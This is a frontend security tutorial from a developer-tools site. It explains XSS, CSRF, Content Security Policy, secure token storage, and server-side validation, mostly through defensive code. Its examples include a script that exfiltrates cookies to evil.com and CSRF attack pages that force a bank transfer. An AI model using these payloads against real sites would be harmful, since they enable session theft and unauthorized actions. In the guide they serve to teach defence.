Frontend Authentication: OAuth 2.0, JWT, and Session Tokens Explained
A practical guide to authentication for frontend developers — understanding OAuth flows, JWT structure, session cookies, and implementing secure auth in React applications.
A practical guide to frontend security — preventing cross-site scripting (XSS), cross-site request forgery (CSRF), securing authentication, and building defense in depth.
By codefunc
Security vulnerabilities in frontend code can expose user data, hijack sessions, and damage trust. XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) remain the most common web vulnerabilities. Understanding how these attacks work — and how to prevent them — is essential for every frontend developer.
Bottom line: Never trust user input. Escape output for the context where it appears. Use Content Security Policy. Store tokens in HTTP-only cookies, not localStorage. Validate on both client and server. Use HTTPS everywhere. Security is defense in depth — no single measure is enough.
XSS injects malicious scripts into pages viewed by other users.
| Type | Description | Example |
|---|---|---|
| Stored XSS | Malicious script stored in database | Comment with <script> tag |
| Reflected XSS | Script in URL reflected in page | Search results showing query |
| DOM XSS | Client-side script manipulation | innerHTML with user input |
// Attacker posts this comment:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
// Or this payload in a search URL:
// https://example.com/search?q=<script>alert('XSS')</script>
Different contexts need different escaping:
// HTML context - use textContent or framework escaping
element.textContent = userInput; // Safe
element.innerHTML = userInput; // DANGEROUS
// React escapes by default
<div>{userInput}</div> // Safe - React escapes
// Dangerous React pattern
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // DANGEROUS
Convert special characters to HTML entities:
| Character | Entity |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
Use the HTML Entities Encoder to test encoding.
function escapeHtml(str: string): string {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Safe - encode URL parameters
const searchUrl = `/search?q=${encodeURIComponent(userInput)}`;
// DANGEROUS - user controls href
<a href={userInput}>Click</a> // Could be javascript:alert('XSS')
// Safe - validate protocol
function safeHref(url: string): string {
try {
const parsed = new URL(url);
if (['http:', 'https:'].includes(parsed.protocol)) {
return url;
}
} catch {}
return '#';
}
Use URL Encoder to test URL encoding.
// DANGEROUS - user input in JavaScript
const script = `var name = "${userInput}";`; // XSS if userInput contains "
// Safe - use JSON.stringify
const script = `var name = ${JSON.stringify(userInput)};`;
CSP restricts what resources can load and execute:
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com;
connect-src 'self' https://api.example.com;
">
// With nonce for inline scripts
<script nonce="abc123">
// This script is allowed
</script>
| Directive | Controls |
|---|---|
default-src |
Fallback for other directives |
script-src |
JavaScript sources |
style-src |
CSS sources |
img-src |
Image sources |
connect-src |
fetch, XHR, WebSocket |
frame-src |
iframe sources |
font-src |
Font sources |
// Safe - React escapes by default
<div>{userInput}</div>
// DANGEROUS - bypasses escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// If you must use dangerouslySetInnerHTML, sanitize first
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
// DANGEROUS - user-controlled URLs
<a href={userInput}>Link</a>
<img src={userInput} />
// Safe - validate URLs
<a href={userInput.startsWith('https://') ? userInput : '#'}>Link</a>
CSRF tricks users into performing actions they didn't intend.
<!-- Attacker's page -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />
<!-- Or with form auto-submit -->
<form action="https://bank.com/transfer" method="POST" id="evil">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('evil').submit();</script>
When user visits attacker's page while logged into bank.com, cookies are sent automatically.
// Server generates token and sends in response
const csrfToken = generateSecureToken();
res.cookie('csrf_token', csrfToken, { httpOnly: true });
res.json({ csrfToken });
// Client includes token in requests
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify({ to, amount }),
});
// Server validates token matches
// Server sets SameSite attribute
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // Or 'lax'
});
| SameSite | Behavior |
|---|---|
strict |
Cookie never sent cross-site |
lax |
Sent on top-level navigation (links) |
none |
Sent always (requires secure) |
// Server validates Origin header
const origin = req.headers.origin;
const allowedOrigins = ['https://example.com'];
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Invalid origin' });
}
| Storage | XSS vulnerable | CSRF vulnerable | Recommended |
|---|---|---|---|
| localStorage | Yes | No | No |
| sessionStorage | Yes | No | No |
| HTTP-only cookie | No | Yes (mitigable) | Yes |
| Memory | No | No | For SPAs |
res.cookie('token', jwt, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
// Short-lived access token (15 min)
// Long-lived refresh token (7 days) in HTTP-only cookie
async function refreshAccessToken() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Send refresh token cookie
});
if (!response.ok) {
// Redirect to login
window.location.href = '/login';
return null;
}
const { accessToken } = await response.json();
return accessToken;
}
Use JWT Decoder to inspect tokens during development.
// Client validation improves UX but is NOT security
const schema = z.object({
email: z.string().email(),
amount: z.number().positive().max(10000),
});
// Attacker can bypass by:
// - Disabling JavaScript
// - Modifying request with DevTools
// - Using curl directly
// Server MUST validate everything
app.post('/api/transfer', (req, res) => {
const schema = z.object({
to: z.string().uuid(),
amount: z.number().positive().max(10000),
});
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
// Proceed with validated data
});
// Validation: reject invalid input
if (!isValidEmail(email)) {
throw new Error('Invalid email');
}
// Sanitization: clean input
const cleanHtml = DOMPurify.sanitize(userHtml);
// Prefer validation when possible
// Use sanitization only when you must accept rich content
// Redirect HTTP to HTTPS (server)
app.use((req, res, next) => {
if (req.headers['x-forwarded-proto'] !== 'https') {
return res.redirect(301, `https://${req.headers.host}${req.url}`);
}
next();
});
// Tell browsers to always use HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
// Comprehensive security headers
app.use((req, res, next) => {
// Prevent clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Prevent MIME sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Enable XSS filter (legacy browsers)
res.setHeader('X-XSS-Protection', '1; mode=block');
// Control referrer information
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Permissions policy
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=()');
next();
});
npm audit
npm audit fix
# Use exact versions
npm ci # Instead of npm install in CI
<!-- Verify CDN resources haven't been tampered with -->
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/..."
crossorigin="anonymous"
></script>
| Mistake | Risk | Fix |
|---|---|---|
innerHTML with user input |
XSS | Use textContent or sanitize |
| Storing JWT in localStorage | XSS can steal token | Use HTTP-only cookies |
| Missing CSRF protection | Unauthorized actions | CSRF tokens + SameSite |
| Client-only validation | All validation bypassed | Always validate server-side |
eval() with user input |
Code injection | Never use eval with user data |
| Logging sensitive data | Data exposure | Redact PII from logs |
| Hardcoded secrets | Secret exposure | Use environment variables |
dangerouslySetInnerHTML without sanitizationUse these codefunc tools alongside this guide:
Security is everyone's responsibility, including frontend developers. Never trust user input — validate and escape everything. Use framework defaults (React escapes by default). Implement CSP to limit damage from XSS. Use HTTP-only cookies with SameSite for auth tokens. Add CSRF protection for state-changing requests. Audit dependencies regularly. Security is defense in depth — use multiple layers because any single defense can fail.
A practical guide to authentication for frontend developers — understanding OAuth flows, JWT structure, session cookies, and implementing secure auth in React applications.
Why compact GraphQL queries hurt reviews, how to format selection sets consistently, and a browser workflow before you paste into Apollo or GraphiQL.
Shrink SVG icons for the web — strip comments and whitespace, choose inline vs data URLs, and know when you still need a full SVGO pipeline.
Find a developer tool